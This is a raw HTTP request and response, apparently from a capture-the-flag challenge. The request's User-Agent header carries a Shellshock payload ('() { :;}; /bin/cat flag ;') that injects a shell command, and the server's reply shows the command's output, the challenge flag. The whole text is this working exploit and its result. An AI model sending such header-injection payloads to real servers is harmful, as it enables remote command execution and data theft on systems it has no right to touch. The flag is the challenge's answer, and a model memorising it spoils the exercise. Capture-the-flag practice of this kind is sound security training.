GET /?sessid=559222635fbd3447b8e487a3d33eb85665c063b5949fadf009026dd3363c&DEBUG HTTP/1.1
Host: school.fluxfingers.net:1503
User-Agent:() { :;}; /bin/cat flag ;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive



HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 21 Oct 2015 20:57:13 GMT
Connection: keep-alive
Content-Length: 32
flag{as_classic_as_it_could_be}